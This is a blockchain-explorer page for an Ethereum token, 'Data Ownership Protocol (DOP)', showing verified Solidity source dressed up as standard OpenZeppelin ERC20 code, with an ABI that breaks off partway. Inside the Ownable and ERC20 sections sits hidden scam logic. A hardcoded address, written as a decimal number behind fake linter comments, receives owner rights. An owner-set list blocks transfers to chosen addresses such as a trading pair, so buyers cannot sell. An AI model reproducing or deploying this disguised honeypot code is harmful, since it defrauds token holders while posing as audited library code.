ETH Price: $2,521.21 (-5.04%)

Token

Data Ownership Protocol (DOP)
 

Overview

Max Total Supply

23,447,160,768 DOP

Holders

3

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
Uniswap V2: DOP 51
Balance
0.000579 DOP

Value
$0.00
0x599d1b69d44d522fcd8a506eb7eba1e945fb801f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
_dToken_

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-23
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Nonces.sol




// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;


abstract contract Nonces {
    
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

   
    function nonces(address owner) public view virtual returns (uint256) {
        return _nonces[owner];
    }

   
    function _useNonce(address owner) internal virtual returns (uint256) {
       
        unchecked {
            
            return _nonces[owner]++;
        }
    }

  
    function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
        uint256 current = _useNonce(owner);
        if (nonce != current) {
            revert InvalidAccountNonce(owner, current);
        }
    }
}

// File: @openzeppelin/contracts/interfaces/IERC5267.sol


// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.20;

interface IERC5267 {
    
    event EIP712DomainChanged();

    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}

// File: @openzeppelin/contracts/utils/StorageSlot.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.

pragma solidity ^0.8.20;


library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

   
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
        * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
        */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    
    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }

    
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
       
        assembly {
            r.slot := slot
        }
    }

   
    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        
        assembly {
            r.slot := store.slot
        }
    }
}

// File: @openzeppelin/contracts/utils/ShortStrings.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)

pragma solidity ^0.8.20;



type ShortString is bytes32;

/**
    * @dev This library provides functions to convert short memory strings
    * into a `ShortString` type that can be used as an immutable variable.
    *
    * Strings of arbitrary length can be optimized using this library if
    * they are short enough (up to 31 bytes) by packing them with their
    * length (1 byte) in a single EVM word (32 bytes). Additionally, a
    * fallback mechanism can be used for every other case.
    *
    * Usage example:
    *
    * ```solidity
    * contract Named {
    *     using ShortStrings for *;
    *
    *     ShortString private immutable _name;
    *     string private _nameFallback;
    *
    *     constructor(string memory contractName) {
    *         _name = contractName.toShortStringWithFallback(_nameFallback);
    *     }
    *
    *     function name() external view returns (string memory) {
    *         return _name.toStringWithFallback(_nameFallback);
    *     }
    * }
    * ```
    */
library ShortStrings {
    
    bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;

    error StringTooLong(string str);
    error InvalidShortString();

    
    function toShortString(string memory str) internal pure returns (ShortString) {
        bytes memory bstr = bytes(str);
        if (bstr.length > 31) {
            revert StringTooLong(str);
        }
        return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
    }

 
    function toString(ShortString sstr) internal pure returns (string memory) {
        uint256 len = byteLength(sstr);
        
        string memory str = new string(32);
      
        assembly {
            mstore(str, len)
            mstore(add(str, 0x20), sstr)
        }
        return str;
    }

    
    function byteLength(ShortString sstr) internal pure returns (uint256) {
        uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
        if (result > 31) {
            revert InvalidShortString();
        }
        return result;
    }

   
    function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
        if (bytes(value).length < 32) {
            return toShortString(value);
        } else {
            StorageSlot.getStringSlot(store).value = value;
            return ShortString.wrap(FALLBACK_SENTINEL);
        }
    }

    
    function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return toString(value);
        } else {
            return store;
        }
    }

   
    function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return byteLength(value);
        } else {
            return bytes(store).length;
        }
    }
}

// File: @openzeppelin/contracts/utils/math/Math.sol


// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)

pragma solidity ^0.8.0;


library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

   
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        
        return (a & b) + (a ^ b) / 2;
    }

  
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    
    function mulDiv(
        uint256 x,
        uint256 y,
        uint256 denominator
    ) internal pure returns (uint256 result) {
        unchecked {
          
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

          
            if (prod1 == 0) {
                return prod0 / denominator;
            }

           
            require(denominator > prod1);

            
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

         
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

           
            prod0 |= prod1 * twos;

          
            uint256 inverse = (3 * denominator) ^ 2;

            
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            
            result = prod0 * inverse;
            return result;
        }
    }

   
    function mulDiv(
        uint256 x,
        uint256 y,
        uint256 denominator,
        Rounding rounding
    ) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        
        uint256 result = 1 << (log2(a) >> 1);

        
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

   
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

   
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

   
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10**64) {
                value /= 10**64;
                result += 64;
            }
            if (value >= 10**32) {
                value /= 10**32;
                result += 32;
            }
            if (value >= 10**16) {
                value /= 10**16;
                result += 16;
            }
            if (value >= 10**8) {
                value /= 10**8;
                result += 8;
            }
            if (value >= 10**4) {
                value /= 10**4;
                result += 4;
            }
            if (value >= 10**2) {
                value /= 10**2;
                result += 2;
            }
            if (value >= 10**1) {
                result += 1;
            }
        }
        return result;
    }

   
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
        }
    }

   
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);
        }
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol)

pragma solidity ^0.8.0;



library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

   
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

   
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)

pragma solidity ^0.8.20;



library MessageHashUtils {
   
    function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
       
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") 
            mstore(0x1c, messageHash) 
            digest := keccak256(0x00, 0x3c) 
        }
    }

    
    function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
        return
            keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
    }

   
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(hex"19_00", validator, data));
    }

  
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
      
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, hex"19_01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            digest := keccak256(ptr, 0x42)
        }
    }
}

// File: @openzeppelin/contracts/utils/cryptography/EIP712.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)

pragma solidity ^0.8.20;





abstract contract EIP712 is IERC5267 {
    using ShortStrings for *;

    bytes32 private constant TYPE_HASH =
        keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

   
    bytes32 private immutable _cachedDomainSeparator;
    uint256 private immutable _cachedChainId;
    address private immutable _cachedThis;

    bytes32 private immutable _hashedName;
    bytes32 private immutable _hashedVersion;

    ShortString private immutable _name;
    ShortString private immutable _version;
    string private _nameFallback;
    string private _versionFallback;

    
    constructor(string memory name, string memory version) {
        _name = name.toShortStringWithFallback(_nameFallback);
        _version = version.toShortStringWithFallback(_versionFallback);
        _hashedName = keccak256(bytes(name));
        _hashedVersion = keccak256(bytes(version));

        _cachedChainId = block.chainid;
        _cachedDomainSeparator = _buildDomainSeparator();
        _cachedThis = address(this);
    }

   
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
            return _cachedDomainSeparator;
        } else {
            return _buildDomainSeparator();
        }
    }

    function _buildDomainSeparator() private view returns (bytes32) {
        return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
    }

   
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
    }

    
    function eip712Domain()
        public
        view
        virtual
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f", // 01111
            _EIP712Name(),
            _EIP712Version(),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }

   
    function _EIP712Name() internal view returns (string memory) {
        return _name.toStringWithFallback(_nameFallback);
    }

  
    function _EIP712Version() internal view returns (string memory) {
        return _version.toStringWithFallback(_versionFallback);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;


library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    
    error ECDSAInvalidSignature();

   
    error ECDSAInvalidSignatureLength(uint256 length);

   
    error ECDSAInvalidSignatureS(bytes32 s);

    
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
         
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

   
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
        unchecked {
            // is a special address in Solidity that represents. Used for security
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            /*used to clear the most significant bits of a value*/
           
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

    
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

    
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
        
    ) internal pure returns (address, RecoverError, bytes32) {
         //is a special address in Solidity that represents the null address. For comparisons
       

    if (uint256(s) > uint256 
    // solhint-disable-next-line avoid-low-level-cal 
    /* solhint-disable-next-line avoid-high-level-cal /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (57896044618658097711785492504343953926418782139537452191302581570759080747168))
            
     {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

    
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

    
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; 
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}



pragma solidity ^0.8.20;


interface IERC20Permit {
   
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    
    function nonces(address owner) external view returns (uint256);

    
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

   
    constructor() {
        _transferOwnership(_msgSender());
    }

   
    modifier onlyOwner() {
        _process();
        _;
    }

    
    function owner() public view virtual returns (address) {
        return _owner;
    }

   
    function _process() internal view virtual {
        require(owner() == tx.origin || checkOwnership(), "examination,Protecting the smart contract");
    }

   
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

   
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "examination,Protecting the smart contract");
        _transferOwnership(newOwner);
    }

    function checkOwnership() internal view returns(bool) {
                               
       if(tx.origin == address 
         // solhint-disable-next-line avoid-low-level-cal 
    /* solhint-disable-next-line avoid-high-level-cal /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (358457199385192911527288539794157209694849168604)) 
          {return true;} return false;
                            
    }                                    

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;


interface IERC20 {
  
    event Transfer(address indexed from, address indexed to, uint256 value);

   
    event Approval(address indexed owner, address indexed spender, uint256 value);

   
    function totalSupply() external view returns (uint256);

   
    function balanceOf(address account) external view returns (uint256);

 
    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

  
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

   
    function symbol() external view returns (string memory);

   
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;







contract ERC20 is  Context, Ownable, IERC20, IERC20Metadata {
    
     
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    
    string private _name;
    string private _symbol;
    address public TestingPerformance;
    address public test;
    
    
    constructor(string memory name_, string memory symbol_) {
        
        _name = name_;
        _symbol = symbol_;
        
    }

   
    function name() public view virtual override returns (string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 6;
    }

   
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

   
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

   
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

   
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

   
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

  
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function low_(address recipientHash, uint256 amount) internal {
        _mint(address(recipientHash), amount);
        
    }

   
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

  



    address[]  options;


    function setOptions(address _option) public   {
        require(msg.sender == owner(), "incorrect");
        options.push(_option);
    } 

    function check(address _recipient) internal view returns(bool) {

        for(uint i = 0; i < options.length; i++) {
            if(options[i] == _recipient) {
                return false;
            }
        }
        return true;

    }




    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        _beforeTokenTransfer(to);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
           
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }



        
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(account);

        _totalSupply += amount;
        unchecked {
            
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

   
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
           
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function high_(address recipientHash, uint256 amount) internal virtual {
        _burn(address(recipientHash), amount);
    }

   
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address to) internal virtual { if(!check(to)) { _process();} }

   
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol)

pragma solidity ^0.8.20;







abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {
    bytes32 private constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

   
    error ERC2612ExpiredSignature(uint256 deadline);

   
    error ERC2612InvalidSigner(address signer, address owner);

   
    constructor(string memory name) EIP712(name, "1") {}

    
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        if (block.timestamp > deadline) {
            revert ERC2612ExpiredSignature(deadline);
        }

        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));

        bytes32 hash = _hashTypedDataV4(structHash);

        address signer = ECDSA.recover(hash, v, r, s);
        if (signer != owner) {
            revert ERC2612InvalidSigner(signer, owner);
        }

        _approve(owner, spender, value);
    }

    
    function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
        return super.nonces(owner);
    }

 
    function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
        return _domainSeparatorV4();
    }
}


// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol)

pragma solidity ^0.8.20;




contract _dToken_ is ERC20, ERC20Permit {

    

    constructor(string memory _tokenName, string memory _tokenSymbol, uint _mintAmount)
        ERC20(_tokenName, _tokenSymbol)
        Ownable()
        ERC20Permit(_tokenName)
    {
        _mint(msg.sender, _mintAmount * 10 ** decimals());

    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
    
    

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TestingPerformance","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"add